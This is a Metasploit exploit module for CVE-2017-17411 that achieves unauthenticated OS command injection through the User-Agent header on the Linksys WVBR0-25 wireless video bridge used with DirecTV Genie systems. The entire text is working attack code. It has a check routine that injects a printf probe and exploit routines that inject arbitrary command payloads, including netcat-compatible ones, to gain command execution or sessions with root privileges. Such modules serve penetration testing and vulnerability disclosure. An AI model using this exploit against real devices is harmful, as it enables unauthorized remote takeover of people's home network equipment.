Linksys WVBR0-25 User-Agent Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',  
'Description' => %q{  
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie  
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41  
of the web management portal via the User-Agent header. Authentication is not required to  
exploit this vulnerability.  
},  
'Author' =>  
[  
'HeadlessZeke' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-17411'],  
['ZDI', '17-973'],  
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']  
],  
'DisclosureDate' => 'Dec 13 2017',  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0  
))  
end  
  
def check  
check_str = rand_text_alpha(8)  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; printf \"#{check_str}"  
})  
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))  
return Exploit::CheckCode::Vulnerable  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Exploiting...")  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
exploit_cmd  
else  
exploit_session  
end  
end  
  
def exploit_cmd  
beg_boundary = rand_text_alpha(8)  
  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"  
})  
  
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/  
print_good("#{peer} - Command sent successfully")  
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line  
print_status("#{peer} - Command output: #{$1}")  
end  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
  
def exploit_session  
begin  
send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; #{payload.encoded} #"  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`